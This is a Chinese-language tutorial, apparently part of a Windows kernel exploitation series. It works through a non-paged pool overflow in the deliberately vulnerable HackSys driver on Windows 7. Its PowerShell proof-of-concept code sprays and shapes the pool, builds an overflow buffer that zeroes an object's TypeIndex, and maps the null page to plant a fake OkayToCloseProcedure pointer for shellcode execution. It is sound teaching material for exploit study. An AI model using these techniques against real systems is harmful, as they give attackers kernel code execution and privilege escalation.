返回介绍

Pwn

发布于 2025-01-03 23:32:57 字数 7756 浏览 0 评论 0 收藏

先简明扼要的给出一个全盘筹划总是好的。

  1. 在可预测状态下掌控非分页内存池。
  2. 触发一个可控的池溢出。
  3. 利用池的内部来设置一个 shellcode 回调。
  4. 释放被污染的池块以完成代码执行!

我强烈推荐你阅读 Tarjei 的 paper 并回顾本系列第十五部分的内容。这会帮助你解析重要的细节——我们的块风水是如何工作的。

在前面的文章中我们用 IoCompletionReserve 对象喷射了非分页内存池,其大小为 0x60。但这一次,我们的目标对象是 0x200 大小因此我们需要喷射该尺寸的某种对象或者一个可以通过乘法达到该尺寸的对象。幸运的是,事件对象的尺寸是 0x40,乘上 8 就是 0x200。

下面的 POC 首先分配了 10000 个事件对象来填充非分页内存池的碎片,此后分配了 5000 个对象以达成可预测分配。注意我们转出了最后的 10 个对象句柄到标准输出,手动在 WinDBG 中触发了一个断点。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern Byte CloseHandle(
    IntPtr hObject);
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern int CreateEvent(
    IntPtr lpEventAttributes,
    Byte  bManualReset,
    Byte bInitialState,
    String lpName);
     
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern void DebugBreak();
}
"@
 
function Event-PoolSpray {
  echo "[+] Derandomizing NonPagedPool.."
  $Spray = @()
  for ($i=0;$i -lt 10000;$i++) {
    $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
    if ($CallResult -ne 0) {
      $Spray += $CallResult
    }
  }
  $Script:Event_hArray1 += $Spray
  echo "[+] $($Event_hArray1.Length) event objects created!"
 
  echo "[+] Allocating sequential objects.."
  $Spray = @()
  for ($i=0;$i -lt 5000;$i++) {
    $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
    if ($CallResult -ne 0) {
      $Spray += $CallResult
    }
  }
  $Script:Event_hArray2 += $Spray
  echo "[+] $($Event_hArray2.Length) event objects created!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
  "{0:X}" -f $($($Event_hArray2[-$i]))
}
 
Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

你将看到类似这样的输出并在 WinDBG 中命中断点。

观察我们转储到标准输出的一个句柄,我们可以看到连续的 0x40 字节的分配。

为了使得内存池处在一个可信的状态,我们唯一能做的就是从第二次喷射的对象中释放 0x200 个字节的段。这将为我们的驱动对象挖坑备用。下面的 POC 展示了这一技术。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern Byte CloseHandle(
    IntPtr hObject);
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern int CreateEvent(
    IntPtr lpEventAttributes,
    Byte  bManualReset,
    Byte bInitialState,
    String lpName);
     
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern void DebugBreak();
}
"@
 
function Event-PoolSpray {
  echo "[+] Derandomizing NonPagedPool.."
  $Spray = @()
  for ($i=0;$i -lt 10000;$i++) {
    $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
    if ($CallResult -ne 0) {
      $Spray += $CallResult
    }
  }
  $Script:Event_hArray1 += $Spray
  echo "[+] $($Event_hArray1.Length) event objects created!"
 
  echo "[+] Allocating sequential objects.."
  $Spray = @()
  for ($i=0;$i -lt 5000;$i++) {
    $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
    if ($CallResult -ne 0) {
      $Spray += $CallResult
    }
  }
  $Script:Event_hArray2 += $Spray
  echo "[+] $($Event_hArray2.Length) event objects created!"
 
  echo "[+] Creating non-paged pool holes.."
  for ($i=0;$i -lt $($Event_hArray2.Length);$i+=16) {
    for ($j=0;$j -lt 8;$j++) {
      $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
      if ($CallResult -ne 0) {
        $FreeCount += 1
      }
    }
  }
  echo "[+] Free'd $FreeCount event objects!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
 
echo "`n[>] Last 16 object handles:"
for ($i=1;$i -lt 17; $i++) {
  "{0:X}" -f $($($Event_hArray2[-$i]))
}
 
Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

如前面所提到的,我们将利用“池内部构件”来达成代码执行。我们已经看过了如果对这些结构乱改一气就会导致 BSOD,因此我们需要对池块的布局有一个深入的理解。

下面我们可以看到一个单一的事件对象的完整组件以及组成它的各种结构体。

首先,这里有个 WinDBG 的 bug,他不会真正关心块结构的阐释但却非常烦人。有人发现问题了吗?如果有人可以指出就给你发免费的蛋糕(撒个慌)!无论如何在后面执行溢出时,这 3 个头需要保持固定(按层级)。

注意到 OBJECT_HEADER 的 TypeIndex 为 0xC 大小,该值是一个指针数组的偏移量,它描述了该块的对象类型。我们可以这样查证。

我们可以进一步通过事件对象指针来枚举 OBJECT_TYPE。同样,注意到数组的第一个指针是空的(0x00000000)。

重要的部分就是"OkayToCloseProcedure"的偏移。如果,当对象句柄被释放且块也被释放,该值不为空,内核会跳转到该地址来执行。也可以使用该结构的其他成员,比如"DeleteProcedure"。

问题在于我们要如何利用它?记住池块本身包含了 TypeIndex 值(0xC),如果我们溢出该块并将该值修改为 0x0 的话,对象就会尝试在进程的零页上查找 OBJECT_TYPE 结构体。我们使用的环境是 Win7,可以分配一个零页并创建一个伪造的"OkayToCloseProcedure"指针指向我们的 shellcode。在释放了被污染的块时,内核就应该会执行到我们的代码了!

很好,我们就要解放了!我们已经控制了池分配并且知晓在 0x200 字节对象后我们有一个 0x40 字节的事件对象。我们可以用下面的 buffer 来精准的覆盖前面看到的三个块头结构。

$PoolHeader = [Byte[]] @(
  0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
  0x45, 0x76, 0x65, 0xee  # PoolTag -> Event (0xee657645)
)
 
$ObjectHeaderQuotaInfo = [Byte[]] @(
  0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
  0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
  0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
  0x00, 0x00, 0x00, 0x00  # SecurityDescriptorQuotaBlock
)
 
# The object header is partially overwritten
$ObjectHeader = [Byte[]] @(
  0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
  0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
  0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
  0x00,           # TypeIndex (Rewrite 0xC -> 0x0)
  0x00,           # TraceFlags
  0x08,           # InfoMask
  0x00          # Flags
)
 
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader

这里我们修改的唯一的值就是 TypeIndex,我们从 0xC 修改成了 0x0。我们可以通过下面的代码,精心构造一个伪造的"OkayToCloseProcedure"指针。

echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
  echo "[!] Failed to allocate null-page..`n"
  Return
} else {
  echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$OkayToCloseProcedure = [Byte[]](0x43)*0x4
[System.Runtime.InteropServices.Marshal]::Copy($OkayToCloseProcedure, 0, [IntPtr]0x74, $OkayToCloseProcedure.Length)

让我们在 WinDBG 中证实我们的理论。

很棒,游戏基本通关了!再一次,火眼金睛的读者会注意到这个讨厌的 WinDBG bug,就像前面那样。

像前面的文章一样,我们重用了 shellcode,然而这其中有两个小技巧我留给勤勉的读者来找出!一个是和 shellcode 结尾相关,另一个和零页内存布局相关。

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。